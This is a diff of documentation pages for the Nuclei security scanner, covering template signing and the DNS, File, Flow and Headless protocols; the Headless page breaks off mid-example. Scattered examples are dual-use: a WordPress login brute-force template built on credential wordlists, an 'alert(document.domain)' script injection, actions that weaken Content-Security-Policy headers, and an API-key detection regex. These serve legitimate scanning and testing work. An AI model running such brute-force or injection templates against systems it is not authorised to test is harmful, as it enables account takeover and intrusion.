Template consumers can verify the authenticity and integrity of a signed template by using the author's public key. By applying the appropriate cryptographic algorithm (ECDSA), they can validate the signature and ensure that the template has not been tampered with since it was signed. This provides a level of trust, as any modifications or unauthorized changes to the template would result in a failed verification process.
|
||||
|
||||
By employing the private-public key mechanism, template signing adds an additional layer of security and trust to the template ecosystem. It helps establish the identity of the template author and ensures that the templates used in various systems are genuine and have not been altered maliciously.
|
||||
|
||||
**What does signing a template mean?**
|
||||
|
||||
Template signing is a mechanism to ensure the integrity and authenticity of templates. The primary goal is to provide template writers/consumers a way to trust crowdsource/custom templates ensuring that they are not tampered
|
||||
|
||||
All [official nuclei templates](https://github.com/projectdiscovery/nuclei-templates) include a digital signature in them and are verified by nuclei while loading templates using ProjectDiscovery's public key shipped with nuclei binary itself.
|
||||
|
||||
Individuals / Organizations running nuclei in their work environment can generate their own key-pair with `nuclei` and sign their custom templates with their private key, thus ensuring that only authorized templates are being used in their environment.
|
||||
|
||||
This also allows entities to fully utilize the power of new protocols like `code` without worrying about malicious custom templates being used in their environment.
|
||||
|
||||
**NOTE:**
|
||||
|
||||
- **Template signing is optional for all protocols except `code`**.
|
||||
- **Unsigned code templates are disabled and can not be executed using nuclei**.
|
||||
- **Only signed code templates by the author (yourself) or ProjectDiscovery can be executed.**
|
||||
- **Template signing is primarily introduced to ensure security of template to run code on host machine.**
|
||||
- Code file references (ex: `source: protocols/code/pyfile.py`) are allowed and content of these files is included in the template digest.
|
||||
- Payload file references (ex: `payloads: protocols/http/params.txt`) are not included in the template digest as it is treated as a payload/helper and not actual code that is being executed.
|
||||
- Template signing is deterministic while both signing and verifying a template i.e if a code file is referenced in a template that is present outside of templates directory with `-lfa` flag then verification will fail if same template is used without `-lfa` flag. (Note this only applies to `-lfa` i.e local file access flag only)
|
||||
|
||||
### Signing Custom Template
|
||||
|
||||
Simplest and recommended way to generate key-pair and signing/verfifying templates is to use `nuclei` itself.
|
||||
|
||||
When Signing a template if key-pair does not exist then nuclei will prompt user to generate a new key-pair with options.
|
||||
|
||||
```console
|
||||
$ ./nuclei -t templates.yaml -sign
|
||||
[INF] Generating new key-pair for signing templates
|
||||
[*] Enter User/Organization Name (exit to abort) : acme
|
||||
[*] Enter passphrase (exit to abort):
|
||||
[*] Enter same passphrase again:
|
||||
[INF] Successfully generated new key-pair for signing templates
|
||||
```
|
||||
> **Note:** Passphrase is optional and can be left blank when used private key is encrypted with passphrase using PEMCipherAES256 Algo
|
||||
|
||||
Once key-pair is generated, you can sign any custom template using `-sign` flag as shown below.
|
||||
|
||||
```console
|
||||
$ ./nuclei -t templates.yaml -sign
|
||||
[INF] All templates signatures were elaborated success=1 failed=0
|
||||
```
|
||||
|
||||
> **Note:** Every time you make any change in your code template, you need to resign it again to run with nuclei.
|
||||
|
||||
### Template Digest and Signing Keys
|
||||
|
||||
When a template is signed, a digest is generated and added to the template. This digest is a hash of the template content and is used to verify the integrity of the template. If the template is modified after signing, the digest will change, and the signature verification will fail during template loading.
|
||||
|
||||
```yaml
|
||||
# digest: 4a0a00473045022100eb01da6b97893e7868c584f330a0cd52df9bddac005860bb8595ba5b8aed58c9022050043feac68d69045cf320cba9298a2eb2e792ea4720d045d01e803de1943e7d:4a3eb6b4988d95847d4203be25ed1d46
|
||||
```
|
||||
|
||||
The digest is in the format of `signature:fragment`, where the signature is the digital signature of the template used to verify its integrity, and the fragment is metadata generated by MD5 hashing the public key to disable re-signing of code templates not written by you.
|
||||
|
||||
The key-pair generated by Nuclei is stored in two files in the `$CONFIG/nuclei/keys directory`, where `$CONFIG` is the system-specific config directory. The private key is stored in nuclei-user-private-key.pem, which is encrypted with a passphrase if provided. The public key is stored in nuclei-user.crt, which includes the public key and identifier (e.g., user/org name) in a self-signed certificate.
|
||||
|
||||
```bash
|
||||
$ la ~/.config/nuclei/keys
|
||||
total 16
|
||||
-rw------- 1 tarun staff 251B Oct 4 21:45 nuclei-user-private-key.pem # encrypted private key with passphrase
|
||||
-rw------- 1 tarun staff 572B Oct 4 21:45 nuclei-user.crt # self signed certificate which includes public key and identifier (i.e user/org name)
|
||||
```
|
||||
|
||||
To use the public key for verification, you can either copy it to the `$CONFIG/nuclei/keys` directory on another user's machine or set the `NUCLEI_USER_CERTIFICATE` environment variable to the path or content of the public key.
|
||||
|
||||
To use the private key, you can copy it to the `$CONFIG/nuclei/keys` directory on another user's machine or set the `NUCLEI_USER_PRIVATE_KEY` environment variable to the path or content of the private key.
|
||||
|
||||
```console
|
||||
$ export NUCLEI_USER_CERTIFICATE=$(cat path/to/nuclei-user.crt)
|
||||
$ export NUCLEI_USER_PRIVATE_KEY=$(cat path/to/nuclei-user-private-key.pem)
|
||||
```
|
||||
|
||||
It's important to note that you are responsible for securing and managing the private key, and Nuclei has no accountability for any loss of the private key.
|
||||
|
||||
By default, Nuclei loads the user certificate (public key) from the default locations mentioned above and uses it to verify templates. When running Nuclei, it will execute signed templates and warn about executing unsigned custom templates and block unsigned code templates. You can disable this warning by setting the `HIDE_TEMPLATE_SIG_WARNING` environment variable to `true`.
|
||||
|
||||
## FAQ
|
||||
|
||||
**Found X unsigned or tampered code template?**
|
||||
|
||||
```bash
|
||||
./nuclei -u scanme.sh -t simple-code.yaml
|
||||
|
||||
__ _
|
||||
____ __ _______/ /__ (_)
|
||||
/ __ \/ / / / ___/ / _ \/ /
|
||||
/ / / / /_/ / /__/ / __/ /
|
||||
/_/ /_/\__,_/\___/_/\___/_/ v3.0.0-dev
|
||||
|
||||
projectdiscovery.io
|
||||
|
||||
[WRN] Found 1 unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)
|
||||
[INF] Current nuclei version: v3.0.0-dev (development)
|
||||
[INF] Current nuclei-templates version: v9.6.4 (latest)
|
||||
[WRN] Executing 1 unsigned templates. Use with caution.
|
||||
[INF] Targets loaded for current scan: 1
|
||||
[INF] No results found. Better luck next time!
|
||||
[FTL] Could not run nuclei: no templates provided for scan
|
||||
```
|
||||
|
||||
Here `simple-code.yaml` is a code protocol template which is not signed or content of template has been modified after signing which indicates loss of integrity of template.
|
||||
If you are template writer then you can go ahead and sign the template using `-sign` flag and if you are template consumer then you should carefully examine the template before signing it.
|
||||
|
||||
**Re-signing code templates are not allowed for security reasons?**
|
||||
|
||||
```bash
|
||||
nuclei -u scanme.sh -t simple-code.yaml -sign
|
||||
|
||||
[ERR] could not sign 'simple-code.yaml': [signer:RUNTIME] re-signing code templates are not allowed for security reasons.
|
||||
[INF] All templates signatures were elaborated success=0 failed=1
|
||||
```
|
||||
|
||||
The error message `re-signing code templates are not allowed for security reasons` comes from the Nuclei engine. This error indicates that a code template initially signed by another user and someone is trying to re-sign it.
|
||||
|
||||
This measure was implemented to prevent running untrusted templates unknowingly, which might lead to potential security issues.
|
||||
When you encounter this error, it suggests that you're dealing with a template that has been signed by another user Likely, the original signer is not you or the team from projectdiscovery.
|
||||
|
||||
By default, Nuclei disallows executing code templates that are signed by anyone other than you or from the public templates provided by projectdiscovery/nuclei-templates.
|
||||
|
||||
This is done to prevent potential security abuse using code templates.
|
||||
|
||||
To resolve this error:
|
||||
1. Open and thoroughly examine the code template for any modifications.
|
||||
2. Manually remove the existing digest signature from the template.
|
||||
3. Sign the template again.
|
||||
|
||||
This way, you can ensure that only templates verified and trusted by you (or projectdiscovery) are run, thus maintaining a secure environment.
|
||||
@@ -0,0 +1,111 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
DNS protocol can be modelled in nuclei with ease. Fully Customizable DNS requests can be sent by nuclei to nameservers and matching/extracting can be performed on their response.
|
||||
|
||||
DNS Requests start with a **dns** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
dns:
|
||||
```
|
||||
|
||||
### Type
|
||||
|
||||
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
|
||||
|
||||
```yaml
|
||||
# type is the type for the dns request
|
||||
type: A
|
||||
```
|
||||
|
||||
### Name
|
||||
|
||||
The next part of the requests is the DNS **name** to resolve. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
name: {{FQDN}}.com
|
||||
# This value will be replaced on execution with the FQDN.
|
||||
# If FQDN is https://this.is.an.example then the
|
||||
# name will get replaced to the following: this.is.an.example.com
|
||||
```
|
||||
|
||||
As of now the tool supports only one name per request.
|
||||
|
||||
|
||||
### Class
|
||||
|
||||
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
|
||||
|
||||
```yaml
|
||||
# method is the class for the dns request
|
||||
class: inet
|
||||
```
|
||||
|
||||
### Recursion
|
||||
|
||||
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
|
||||
|
||||
```yaml
|
||||
# Recursion is a boolean determining if the request is recursive
|
||||
recursion: true
|
||||
```
|
||||
|
||||
### Retries
|
||||
|
||||
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
|
||||
|
||||
```yaml
|
||||
# Retries is a number of retries before giving up on dns resolution
|
||||
retries: 3
|
||||
```
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **DNS** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-----------------------------|
|
||||
| request | DNS Request |
|
||||
| rcode | DNS Rcode |
|
||||
| question | DNS Question Message |
|
||||
| extra | DNS Message Extra Field |
|
||||
| answer | DNS Message Answer Field |
|
||||
| ns | DNS Message Authority Field |
|
||||
| raw / all / body | Raw DNS Message |
|
||||
|
||||
### **Example DNS Template**
|
||||
|
||||
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
|
||||
|
||||
```yaml
|
||||
id: dummy-cname-a
|
||||
|
||||
info:
|
||||
name: Dummy A dns request
|
||||
author: mzack9999
|
||||
severity: none
|
||||
description: Checks if CNAME and A record is returned.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: A
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
# and also at least 1 A record
|
||||
- "IN\tA"
|
||||
condition: and
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/dns)
|
||||
@@ -0,0 +1,104 @@
|
||||
---
|
||||
title : "File"
|
||||
---
|
||||
|
||||
Nuclei allows modelling templates that can match/extract on filesystem too.
|
||||
|
||||
```yaml
|
||||
# Start of file template block
|
||||
file:
|
||||
```
|
||||
|
||||
### Extensions
|
||||
|
||||
To match on all extensions (except the ones in default denylist), use the following -
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
```
|
||||
|
||||
You can also provide a list of custom extensions that should be matched upon.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- py
|
||||
- go
|
||||
```
|
||||
|
||||
A denylist of extensions can also be provided. Files with these extensions will not be processed by nuclei.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
|
||||
denylist:
|
||||
- go
|
||||
- py
|
||||
- txt
|
||||
```
|
||||
|
||||
By default, certain extensions are excluded in nuclei file module. A list of these is provided below-
|
||||
|
||||
```
|
||||
3g2,3gp,7z,apk,arj,avi,axd,bmp,css,csv,deb,dll,doc,drv,eot,exe,flv,gif,gifv,gz,h264,ico,iso,jar,jpeg,jpg,lock,m4a,m4v,map,mkv,mov,mp3,mp4,mpeg,mpg,msi,ogg,ogm,ogv,otf,pdf,pkg,png,ppt,psd,rar,rm,rpm,svg,swf,sys,tar,tar.gz,tif,tiff,ttf,txt,vob,wav,webm,wmv,woff,woff2,xcf,xls,xlsx,zip
|
||||
```
|
||||
|
||||
### More Options
|
||||
|
||||
**max-size** parameter can be provided which limits the maximum size (in bytes) of files read by nuclei engine.
|
||||
|
||||
As default the `max-size` value is 5 MB (5242880), Files larger than the `max-size` will not be processed.
|
||||
|
||||
-----
|
||||
|
||||
**no-recursive** option disables recursive walking of directories / globs while input is being processed for file module of nuclei.
|
||||
|
||||
### Matchers / Extractor
|
||||
|
||||
**File** protocol supports 2 types of Matchers -
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
|
||||
| Extractors Type | Part Matched |
|
||||
|-----------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
### **Example File Template**
|
||||
|
||||
The final example template file for a Private Key detection is provided below.
|
||||
|
||||
```yaml
|
||||
id: google-api-key
|
||||
|
||||
info:
|
||||
name: Google API Key
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
- txt
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: google-api-key
|
||||
regex:
|
||||
- "AIza[0-9A-Za-z\\-_]{35}"
|
||||
```
|
||||
|
||||
```bash
|
||||
# Running file template on http-response/ directory
|
||||
nuclei -t file.yaml -target http-response/
|
||||
|
||||
# Running file template on output.txt
|
||||
nuclei -t file.yaml -target output.txt
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/file)
|
||||
@@ -0,0 +1,224 @@
|
||||
---
|
||||
title : Flow
|
||||
---
|
||||
|
||||
|
||||
Template flow engine introduced in v3, brings two significant enhancements to Nuclei:
|
||||
|
||||
- The ability to conditionally execute requests
|
||||
- The orchestration of request execution
|
||||
|
||||
These features are implemented using JavaScript (ECMAScript 5.1) via the [goja](https://github.com/dop251/goja) backend.
|
||||
|
||||
## Conditional Execution
|
||||
|
||||
Many times when writing complex templates we might need to add some extra checks (or conditional statements) before executing certain part of request.
|
||||
|
||||
An ideal example of this would be when [bruteforcing wordpress login](https://templates.nuclei.sh/public/wordpress-weak-credentials) with default usernames and passwords, but if we carefully re-evaluate this template, we can see that template is sending 276 requests without even checking, if the url actually exists or target site is actually a wordpress site.
|
||||
|
||||
With addition of flow in Nuclei v3 we can re-write this template to first check if target is a wordpress site, if yes then bruteforce login with default credentials and this can be achieved by simply adding one line of content i.e `flow: http(1) && http(2)` and nuclei will take care of everything else.
|
||||
|
||||
```yaml
|
||||
id: wordpress-bruteforce
|
||||
|
||||
info:
|
||||
name: WordPress Login Bruteforce
|
||||
author: pdteam
|
||||
severity: high
|
||||
|
||||
flow: http(1) && http(2)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "WordPress"
|
||||
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
|
||||
body: |
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||||
|
||||
attack: clusterbomb
|
||||
payloads:
|
||||
users: helpers/wordlists/wp-users.txt
|
||||
passwords: helpers/wordlists/wp-passwords.txt
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- status_code == 302
|
||||
- contains_all(header, "/wp-admin","wordpress_logged_in")
|
||||
condition: and
|
||||
```
|
||||
|
||||
The update template now seems straight forward and easy to understand. we are first checking if target is a wordpress site and then executing bruteforce requests. This is just a simple example of conditional execution and flow accepts any Javascript (ECMAScript 5.1) expression/code so you are free to craft any conditional execution logic you want.
|
||||
|
||||
## Request Execution Orchestration
|
||||
|
||||
Flow is a powerful Nuclei feature that provides enhanced orchestration capabilities for executing requests. The simplicity of conditional execution is just the beginning. With flow, you can:
|
||||
|
||||
- Iterate over a list of values and execute a request for each one
|
||||
- Extract values from a request, iterate over them, and perform another request for each
|
||||
- Get and set values within the template context (global variables)
|
||||
- Write output to stdout for debugging purposes or based on specific conditions
|
||||
- Introduce custom logic during template execution
|
||||
- Use ECMAScript 5.1 JavaScript features to build and modify variables at runtime
|
||||
- Update variables at runtime and use them in subsequent requests.
|
||||
|
||||
Think of request execution orchestration as a bridge between JavaScript and Nuclei, offering two-way interaction within a specific template.
|
||||
|
||||
**Practical Example: Vhost Enumeration**
|
||||
|
||||
To better illustrate the power of flow, let's consider developing a template for vhost (virtual host) enumeration. This set of tasks typically requires writing a new tool from scratch. Here are the steps we need to follow:
|
||||
1. Retrieve the SSL certificate for the provided IP (using tlsx)
|
||||
- Extract `subject_cn` (CN) from the certificate
|
||||
- Extract `subject_an` (SAN) from the certificate
|
||||
- Remove wildcard prefixes from the values obtained in the steps above
|
||||
2. Bruteforce the request using all the domains found from the SSL request
|
||||
|
||||
You can utilize flow to simplify this task. The JavaScript code below orchestrates the vhost enumeration:
|
||||
|
||||
```javascript
|
||||
ssl();
|
||||
for (let vhost of iterate(template["ssl_domains"])) {
|
||||
set("vhost", vhost);
|
||||
http();
|
||||
}
|
||||
```
|
||||
|
||||
In this code, we've introduced 5 extra lines of JavaScript. This allows the template to perform vhost enumeration. The best part? You can run this at scale with all features of Nuclei, using supported inputs like ASN, CIDR, URL.
|
||||
|
||||
Let's break down the JavaScript code:
|
||||
|
||||
1. `ssl()`: This function executes the SSL request.
|
||||
2. `template["ssl_domains"]`: Retrieves the value of `ssl_domains` from the template context.
|
||||
3. `iterate()`: Helper function that iterates over any value type while handling empty or null values.
|
||||
4. `set("vhost", vhost)`: Creates a new variable `vhost` in the template and assigns the `vhost` variable's value to it.
|
||||
5. `http()`: This function conducts the HTTP request.
|
||||
|
||||
By understanding and taking advantage of Nuclei's `flow`, you can redefine the way you orchestrate request executions, making your templates much more powerful and efficient.
|
||||
|
||||
Here is working template for vhost enumeration using flow:
|
||||
|
||||
```yaml
|
||||
id: vhost-enum-flow
|
||||
|
||||
info:
|
||||
name: vhost enum flow
|
||||
author: tarunKoyalwar
|
||||
severity: info
|
||||
description: |
|
||||
vhost enumeration by extracting potential vhost names from ssl certificate.
|
||||
|
||||
flow: |
|
||||
ssl();
|
||||
for (let vhost of iterate(template["ssl_domains"])) {
|
||||
set("vhost", vhost);
|
||||
http();
|
||||
}
|
||||
|
||||
ssl:
|
||||
- address: "{{Host}}:{{Port}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{vhost}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- status_code != 400
|
||||
- status_code != 502
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"VHOST: " + vhost + ", SC: " + status_code + ", CL: " + content_length'
|
||||
```
|
||||
|
||||
## JS Bindings
|
||||
|
||||
This section contains a brief description of all nuclei JS bindings and their usage.
|
||||
|
||||
### Protocol Execution Function
|
||||
|
||||
In nuclei, any listed protocol can be invoked or executed in JavaScript using the `protocol_name()` format. For example, you can use `http()`, `dns()`, `ssl()`, etc.
|
||||
|
||||
If you want to execute a specific request of a protocol (refer to nuclei-flow-dns for an example), it can be achieved by passing either:
|
||||
|
||||
- The index of that request in the protocol (e.g.,`dns(1)`, `dns(2)`)
|
||||
- The ID of that request in the protocol (e.g., `dns("extract-vps")`, `http("probe-http")`)
|
||||
|
||||
For more advanced scenarios where multiple requests of a single protocol need to be executed, you can specify their index or ID one after the other (e.g., dns("extract-vps","1")).
|
||||
|
||||
This flexibility in using either index numbers or ID strings to call specific protocol requests provides controls for tailored execution, allowing you to build more complex and efficient workflows. more complex use cases multiple requests of a single protocol can be executed by just specifying their index or id one after another (ex: `dns("extract-vps","1")`)
|
||||
|
||||
### Iterate Helper Function
|
||||
|
||||
Iterate is a nuclei js helper function which can be used to iterate over any type of value like **array**, **map**, **string**, **number** while handling empty/nil values.
|
||||
|
||||
This is addon helper function from nuclei to omit boilerplate code of checking if value is empty or not and then iterating over it
|
||||
|
||||
```javascript
|
||||
iterate(123,{"a":1,"b":2,"c":3})
|
||||
|
||||
// iterate over array with custom separator
|
||||
iterate([1,2,3,4,5], " ")
|
||||
```
|
||||
|
||||
### Set Helper Function
|
||||
|
||||
When iterating over a values/array or some other use case we might want to invoke a request with custom/given value and this can be achieved by using `set()` helper function. When invoked/called it adds given variable to template context (global variables) and that value is used during execution of request/protocol. the format of `set()` is `set("variable_name",value)` ex: `set("username","admin")`.
|
||||
|
||||
```javascript
|
||||
for (let vhost of myArray) {
|
||||
set("vhost", vhost);
|
||||
http(1)
|
||||
}
|
||||
```
|
||||
**Note:** In above example we used `set("vhost", vhost)` which added `vhost` to template context (global variables) and then called `http(1)` which used this value in request.
|
||||
|
||||
### Template Context
|
||||
|
||||
A template context is nothing but a map/jsonl containing all this data along with internal/unexported data that is only available at runtime (ex: extracted values from previous requests, variables added using `set()` etc). This template context is available in javascript as `template` variable and can be used to access any data from it. ex: `template["dns_cname"]`, `template["ssl_subject_cn"]` etc.
|
||||
|
||||
```javascript
|
||||
template["ssl_domains"] // returns value of ssl_domains from template context which is available after executing ssl request
|
||||
template["ptrValue"] // returns value of ptrValue which was extracted using regex with internal: true
|
||||
```
|
||||
Lot of times we don't known what all data is available in template context and this can be easily found by printing it to stdout using `log()` function
|
||||
|
||||
```javascript
|
||||
log(template)
|
||||
```
|
||||
|
||||
### Log Helper Function
|
||||
|
||||
It is a nuclei js alternative to `console.log` and this pretty prints map data in readable format
|
||||
|
||||
**Note:** This should be used for debugging purposed only as this prints data to stdout
|
||||
|
||||
### Dedupe
|
||||
|
||||
Lot of times just having arrays/slices is not enough and we might need to remove duplicate variables . for example in earlier vhost enumeration we did not remove any duplicates as there is always a chance of duplicate values in `ssl_subject_cn` and `ssl_subject_an` and this can be achieved by using `dedupe()` object. This is nuclei js helper function to abstract away boilerplate code of removing duplicates from array/slice
|
||||
|
||||
```javascript
|
||||
let uniq = new Dedupe(); // create new dedupe object
|
||||
uniq.Add(template["ptrValue"])
|
||||
uniq.Add(template["ssl_subject_cn"]);
|
||||
uniq.Add(template["ssl_subject_an"]);
|
||||
log(uniq.Values())
|
||||
```
|
||||
|
||||
And that's it, this automatically converts any slice/array to map and removes duplicates from it and returns a slice/array of unique values
|
||||
|
||||
> Similar to DSL helper functions . we can either use built in functions available with `Javscript (ECMAScript 5.1)` or use DSL helper functions and its upto user to decide which one to uses.
|
||||
@@ -0,0 +1,384 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
Nuclei supports automation of a browser with simple DSL. Headless browser engine can be fully customized and user actions can be scripted allowing complete control over the browser. This allows for a variety of unique and custom workflows.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
headless:
|
||||
```
|
||||
|
||||
### Actions
|
||||
|
||||
Action is a single piece of Task for the Nuclei Headless Engine. Each action manipulates the browser state in some way, and finally leads to the state that we are interested in capturing.
|
||||
|
||||
Nuclei supports a variety of actions. A list of these Actions along with their arguments are given below -
|
||||
|
||||
### navigate
|
||||
|
||||
Navigate visits a given URL. url field supports variables like `{{BaseURL}}`, `{{Hostname}}` to customize the request fully.
|
||||
|
||||
```yaml
|
||||
action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}
|
||||
```
|
||||
|
||||
#### script
|
||||
|
||||
Script runs a JS code on the current browser page. At the simplest level, you can just provide a `code` argument with the JS snippet you want to execute, and it will be run on the page.
|
||||
|
||||
```yaml
|
||||
action: script
|
||||
args:
|
||||
code: alert(document.domain)
|
||||
```
|
||||
|
||||
Suppose you want to run a matcher on a JS object to inspect its value. This type of data extraction use cases are also supported with nuclei headless. As an example, let's say the application sets an object called `window.random-object` with a value, and you want to match on that value.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: window.random-object
|
||||
name: script-name
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: script-name
|
||||
words:
|
||||
- "some-value"
|
||||
```
|
||||
|
||||
Nuclei supports running some custom Javascript, before the page load with the `hook` argument. This will always run the provided Javascript, before any of the pages load.
|
||||
|
||||
The example provided hooks `window.alert` so that the alerts that are generated by the application do not stop the crawler.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: (function() { window.alert=function(){} })()
|
||||
hook: true
|
||||
```
|
||||
|
||||
This is one use case, there are many more use cases of function hooking such as DOM XSS Detection and Javascript-Injection based testing techniques. Further examples are provided on examples page.
|
||||
|
||||
#### click
|
||||
|
||||
Click simulates clicking with the Left-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: click
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
Nuclei supports a variety of selector types, including but not limited to XPath, Regex, CSS, etc. For more information about selectors, see [here](#selectors).
|
||||
|
||||
#### rightclick
|
||||
|
||||
RightClick simulates clicking with the Right-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: rightclick
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### text
|
||||
|
||||
Text simulates typing something into an input with Keyboard. Selectors can be used to specify the element to type in.
|
||||
|
||||
```yaml
|
||||
action: text
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: username
|
||||
```
|
||||
|
||||
#### screenshot
|
||||
|
||||
Screenshots takes the screenshots of a page and writes it to disk. It supports both full page and normal screenshots.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
```
|
||||
|
||||
If you require full page screenshot, it can be achieved with `fullpage: true` option in the args.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
fullpage: true
|
||||
```
|
||||
|
||||
#### time
|
||||
|
||||
Time enters values into time inputs on pages in RFC3339 format.
|
||||
|
||||
```yaml
|
||||
action: time
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: 2006-01-02T15:04:05Z07:00
|
||||
```
|
||||
|
||||
#### select
|
||||
|
||||
Select performs selection on an HTML Input by a selector.
|
||||
|
||||
```yaml
|
||||
action: select
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
selected: true
|
||||
value: option[value=two]
|
||||
selector: regex
|
||||
```
|
||||
|
||||
#### files
|
||||
|
||||
Files handles a file upload input on the webpage.
|
||||
|
||||
```yaml
|
||||
action: files
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: /root/test/payload.txt
|
||||
```
|
||||
|
||||
#### waitload
|
||||
|
||||
WaitLoads waits for a page to finish loading and get in Idle state.
|
||||
|
||||
```yaml
|
||||
action: waitload
|
||||
```
|
||||
|
||||
Nuclei's `waitload` action waits for DOM to load, and window.onload event to be received after which we wait for the page to become idle for 1 seconds.
|
||||
|
||||
|
||||
#### getresource
|
||||
|
||||
GetResource returns the src attribute for an element.
|
||||
|
||||
```yaml
|
||||
action: getresource
|
||||
name: extracted-value-src
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### extract
|
||||
|
||||
Extract extracts either the Text for an HTML Node, or an attribute as specified by the user.
|
||||
|
||||
The below code will extract the Text for the given XPath Selector Element, which can then also be matched upon by name `extracted-value` with matchers and extractors.
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
An attribute can also be extracted for an element. For example -
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value-href
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
target: attribute
|
||||
attribute: href
|
||||
```
|
||||
|
||||
#### setmethod
|
||||
|
||||
SetMethod overrides the method for the request.
|
||||
|
||||
```yaml
|
||||
action: setmethod
|
||||
args:
|
||||
part: request
|
||||
method: DELETE
|
||||
```
|
||||
|
||||
#### addheader
|
||||
|
||||
AddHeader adds a header to the requests / responses. This does not overwrite any pre-existing headers.
|
||||
|
||||
```yaml
|
||||
action: addheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### setheader
|
||||
|
||||
SetHeader sets a header in the requests / responses.
|
||||
|
||||
```yaml
|
||||
action: setheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### deleteheader
|
||||
|
||||
DeleteHeader deletes a header from requests / responses.
|
||||
|
||||
```yaml
|
||||
action: deleteheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
```
|
||||
|
||||
#### setbody
|
||||
|
||||
SetBody sets the body for a request / response.
|
||||
|
||||
```yaml
|
||||
action: setbody
|
||||
args:
|
||||
